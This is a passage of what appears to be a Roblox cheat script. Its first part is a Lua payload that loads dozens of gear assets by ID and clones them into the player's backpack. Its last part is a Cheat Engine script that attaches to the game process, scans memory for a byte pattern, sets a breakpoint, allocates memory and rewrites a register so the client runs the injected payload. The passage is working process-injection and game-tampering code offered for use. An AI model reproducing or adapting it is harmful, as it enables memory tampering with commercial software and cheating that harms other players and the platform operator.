- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt45 = game:GetService("InsertService"):LoadAsset(66426498)--kami
- for _, v in pairs(insrt45:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt46 = game:GetService("InsertService"):LoadAsset(66896565)--missiletoe
- for _, v in pairs(insrt46:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt47 = game:GetService("InsertService"):LoadAsset(69499437)--azureperiastron
- for _, v in pairs(insrt47:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt48 = game:GetService("InsertService"):LoadAsset(71037028)--magiccarpet
- for _, v in pairs(insrt48:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt49 = game:GetService("InsertService"):LoadAsset(68354832)--blizzardwand
- for _, v in pairs(insrt49:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt50 = game:GetService("InsertService"):LoadAsset(66896601)--neverendingfroststaff
- for _, v in pairs(insrt50:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt51 = game:GetService("InsertService"):LoadAsset(72644629)--orb
- for _, v in pairs(insrt51:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt52 = game:GetService("InsertService"):LoadAsset(48596305)--confusoray
- for _, v in pairs(insrt52:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt53 = game:GetService("InsertService"):LoadAsset(45941451)--danceblaster
- for _, v in pairs(insrt53:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt54 = game:GetService("InsertService"):LoadAsset(30393548)--grapplehook
- for _, v in pairs(insrt54:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt55 = game:GetService("InsertService"):LoadAsset(59848474)--deathspeakerbook
- for _, v in pairs(insrt55:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt56 = game:GetService("InsertService"):LoadAsset(49491736)--dracovinbook
- for _, v in pairs(insrt56:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt57 = game:GetService("InsertService"):LoadAsset(56561607)--dracovinwand
- for _, v in pairs(insrt57:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt58 = game:GetService("InsertService"):LoadAsset(49491716)--mischiefwand
- for _, v in pairs(insrt58:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt59 = game:GetService("InsertService"):LoadAsset(16979083)--flashbang
- for _, v in pairs(insrt59:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt60 = game:GetService("InsertService"):LoadAsset(27860496)--novawand
- for _, v in pairs(insrt60:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt61 = game:GetService("InsertService"):LoadAsset(56561579)--forgottenbook
- for _, v in pairs(insrt61:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt62 = game:GetService("InsertService"):LoadAsset(69210407)--remoteplanecontrol
- for _, v in pairs(insrt62:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt63 = game:GetService("InsertService"):LoadAsset(66823689)--icicleslicer
- for _, v in pairs(insrt63:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt64 = game:GetService("InsertService"):LoadAsset(61459678)--nekotikozphaser
- for _, v in pairs(insrt64:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt65 = game:GetService("InsertService"):LoadAsset(64220933)--ghostfiresword
- for _, v in pairs(insrt65:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt66 = game:GetService("InsertService"):LoadAsset(64869947)--ninjabomb
- for _, v in pairs(insrt66:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt67 = game:GetService("InsertService"):LoadAsset(14516975)--superdisruptor
- for _, v in pairs(insrt67:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt68 = game:GetService("InsertService"):LoadAsset(18268645)--disintergrexgun
- for _, v in pairs(insrt68:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt69 = game:GetService("InsertService"):LoadAsset(18462637)--windstaff
- for _, v in pairs(insrt69:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt70 = game:GetService("InsertService"):LoadAsset(13838639)--atomicdisintegrator
- for _, v in pairs(insrt70:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt71 = game:GetService("InsertService"):LoadAsset(33867016)--handcannon
- for _, v in pairs(insrt71:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt72 = game:GetService("InsertService"):LoadAsset(33879504)--flamethrower2
- for _, v in pairs(insrt72:GetChildren()) do
- v.Name='FlameThrower2'
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt73 = game:GetService("InsertService"):LoadAsset(35366155)--hypnocannon
- for _, v in pairs(insrt73:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt74 = game:GetService("InsertService"):LoadAsset(28275809)--scythe
- for _, v in pairs(insrt74:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt75 = game:GetService("InsertService"):LoadAsset(31839203)--rcformula
- for _, v in pairs(insrt75:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt76 = game:GetService("InsertService"):LoadAsset(11373617)--woodlandsstaff
- for _, v in pairs(insrt76:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt77 = game:GetService("InsertService"):LoadAsset(22969230)--emraldscatterblaster
- for _, v in pairs(insrt77:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt78 = game:GetService("InsertService"):LoadAsset(21420014)--scatterblaster
- for _, v in pairs(insrt78:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt79 = game:GetService("InsertService"):LoadAsset(36913601)--broom
- for _, v in pairs(insrt79:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt80 = game:GetService("InsertService"):LoadAsset(48847374)--positronicarmcannon
- for _, v in pairs(insrt80:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt81 = game:GetService("InsertService"):LoadAsset(71422327)--frosthammer
- for _, v in pairs(insrt81:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt82 = game:GetService("InsertService"):LoadAsset(69947367)--dualaxe
- for _, v in pairs(insrt82:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt83 = game:GetService("InsertService"):LoadAsset(33382711)--gloomystaff
- for _, v in pairs(insrt83:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt84 = game:GetService("InsertService"):LoadAsset(11719016)--blowdryer
- for _, v in pairs(insrt84:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt85 = game:GetService("InsertService"):LoadAsset(12902404)--tnt
- for _, v in pairs(insrt85:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt86 = game:GetService("InsertService"):LoadAsset(65469882)--fist
- for _, v in pairs(insrt86:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt87 = game:GetService("InsertService"):LoadAsset(65469908)--scullcracker
- for _, v in pairs(insrt87:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt88 = game:GetService("InsertService"):LoadAsset(33383241)--remotemine
- for _, v in pairs(insrt88:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt89 = game:GetService("InsertService"):LoadAsset(32353654)--moonwalkdance
- for _, v in pairs(insrt89:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt90 = game:GetService("InsertService"):LoadAsset(32355966)--winsomewand
- for _, v in pairs(insrt90:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt91 = game:GetService("InsertService"):LoadAsset(35293856)--atomizer
- for _, v in pairs(insrt91:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt92 = game:GetService("InsertService"):LoadAsset(50938773)--taserblade
- for _, v in pairs(insrt92:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt93 = game:GetService("InsertService"):LoadAsset(32858662)--icestaff
- for _, v in pairs(insrt93:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt94 = game:GetService("InsertService"):LoadAsset(16469499)--highphaser
- for _, v in pairs(insrt94:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt95 = game:GetService("InsertService"):LoadAsset(47871646)--tornade
- for _, v in pairs(insrt95:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt96 = game:GetService("InsertService"):LoadAsset(35366215)--roboarm
- for _, v in pairs(insrt96:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt97 = game:GetService("InsertService"):LoadAsset(64160547)--hoverboard
- for _, v in pairs(insrt97:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt98 = game:GetService("InsertService"):LoadAsset(54694334)--vilethorn
- for _, v in pairs(insrt98:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt99 = game:GetService("InsertService"):LoadAsset(69210321)--darkstaff
- for _, v in pairs(insrt99:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt100 = game:GetService("InsertService"):LoadAsset(62827121)--evilwand
- for _, v in pairs(insrt100:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt101 = game:GetService("InsertService"):LoadAsset(18010691)--awestar
- for _, v in pairs(insrt101:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt102 = game:GetService("InsertService"):LoadAsset(51302649)--swordandshield
- for _, v in pairs(insrt102:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt103 = game:GetService("InsertService"):LoadAsset(10760425)--sparkstaff
- for _, v in pairs(insrt103:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt104 = game:GetService("InsertService"):LoadAsset(73799348)--undoingaxe
- for _, v in pairs(insrt104:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt105 = game:GetService("InsertService"):LoadAsset(73232786)--dragonstaff
- for _, v in pairs(insrt105:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt106 = game:GetService("InsertService"):LoadAsset(73232825)--screeshpotion
- for _, v in pairs(insrt106:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt107 = game:GetService("InsertService"):LoadAsset(73265108)--dualcannon
- for _, v in pairs(insrt107:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt108 = game:GetService("InsertService"):LoadAsset(74385438)--gravitron
- for _, v in pairs(insrt108:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt109 = game:GetService("InsertService"):LoadAsset(74385386)--razevenge
- for _, v in pairs(insrt109:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt110 = game:GetService("InsertService"):LoadAsset(74385418)--glorylauncher
- for _, v in pairs(insrt110:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- local insrt111 = game:GetService("InsertService"):LoadAsset(73888479)--spikesplosion
- for _, v in pairs(insrt111:GetChildren()) do
- if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- wait()
- if (game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."))then
- game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."):remove()
- end
- end))
- end
- end))
- end)
- ]=====================]
- },{}
- stringlist_add(getAutoAttachList(),settings.process_name)
- function onOpenProcess(process_id)
- if process_opened[process_id] then return end process_opened[process_id] = true
- address = stringlist_getString(AOBScan(settings.byte_sequence), 0)
- debugProcess(2); debug_setBreakpoint(address)
- end
- function debugger_onBreakpoint()
- if readBytes(EAX+0x3, 1) == 0x0A and readBytes(EAX+0x7, 1) == 0x66 and address then
- pause(); debug_removeBreakpoint(address)
- local alloc_result = autoAssemble("alloc(_,"..settings.alloc_size..","..settings.alloc_address..")")
- local alloc_address = tonumber("0x0"..settings.alloc_address)
- local error_catch = false
- if alloc_result and readBytes(alloc_address, 1) == 0x0 then
- local base_script = readString(EAX, 25000) or ""
- error_catch = writeString(alloc_address, base_script..settings.main_script)
- EAX = error_catch and alloc_address or EAX
- address = nil
- end
- unpause()
- if not error_catch then
- messageDialog("Injection Failed!", 1, 2)
- end
- end
- return 1
- end
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